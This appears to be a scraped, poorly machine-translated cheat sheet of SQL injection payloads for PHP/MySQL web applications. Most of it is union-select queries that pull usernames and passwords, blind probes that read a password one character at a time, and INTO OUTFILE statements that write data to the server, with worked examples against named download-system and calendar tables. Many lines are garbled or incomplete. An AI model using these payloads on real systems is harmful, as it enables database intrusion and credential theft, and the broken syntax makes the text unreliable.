Advanced php injection methods
Last Update:2018-04-06
Source: Internet
Author: User
Both black friends and programmers need to know '% 23
'And passWord = 'mypass
Id =-1 union select 1, 1
Id =-1 union select char (97), char (97), char (97)
Id = 1 union select 1, 1 from members
Id = 1 union select 1, 1 from admin
Id = 1 union select 1, 1 from user
Userid = 1 and password = mypass
Userid = 1 and mid (password, 112) = char)
Userid = 1 and mid (password, 4, 1) = char (97)
And ord (mid (password, 111)> (the ord function is very useful and can return an integer)
'And LENGTH (password) = '6 (LENGTH of the probe password)
'And LEFT (password, 1) =' m
'And LEFT (password, 2) = 'My
.............................. And so on
'Union select 1, username, password from user /*
'Union select 1, username, password from user /*
= 'Union select 1, username, password from user/* (can be 1 or = followed directly)
99999 'Union select 1, username, password from user /*
'Into outfile' c:/file.txt (export file)
= 'Or 1 = 1 into outfile' c:/file.txt
1 'Union select 1, username, password from user into outfile 'C:/user.txt
Select password FROM admins where login = 'John' INTO dumpfile'/path/to/site/file.txt'
Id = 'Union select 1, username, password from user into outfile
Id =-1 union select 1, database (), version () (flexible application query)
Commonly used query test statement,
Select * FROM table where 1 = 1
Select * FROM table where 'uuu '= 'uuu'
Select * FROM table where 1 <> 2
Select * FROM table where 3> 2
Select * FROM table where 2 <3
Select * FROM table where 1
Select * FROM table where 1 + 1
Select * FROM table where 1--1
Select * FROM table where ISNULL (NULL)
Select * FROM table where ISNULL (COT (0 ))
Select * FROM table where 1 IS NOT NULL
Select * FROM table where NULL IS NULL
Select * FROM table where 2 BETWEEN 1 AND 3
Select * FROM table where 'B' BETWEEN 'A' AND 'C'
Select * FROM table where 2 IN (0, 1, 2)
Select * FROM table where case when 1> 0 THEN 1 END
For example, the night cat download system version 1.0
Id = 1 union select, 1
Union select, 1 from ymdown_user
Union select 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 from ymdown_user where id = 1
Id = 10000 union select, 1 from ymdown_user where id = 1 and groupid = 1
Union select 1, username, 1, password, 1 from ymdown_user where id = 1 (replace, look for a password)
Union select, 1 from ymdown_user where id = 1 and ord (mid (password )) = 49 (verify the first password)
Union select, 1 from ymdown_user where id = 1 and ord (mid (password )) = 50 (second digit)
Union select, 1 from ymdown_user where id = 1 and ord (mid (password,) = 51
..................................................................
Example 2: gray track transformation id test (meteor)
Union % 20 (select % 20 allowsmilies, public, userid, '2017-0-0 ', user (), version () % 20 FROM % 20calendar_events % 20 where % 20 eventid % 20 = % 2013) % 20 order % 20by % 20 eventdate
Union % 20 (select % 20 allowsmilies, public, userid, '2017-0-0 ', pass (), version () % 20 FROM % 20calendar_events % 20 where % 20 eventid % 20 = % 2010) % 20 order % 20by % 20 eventdate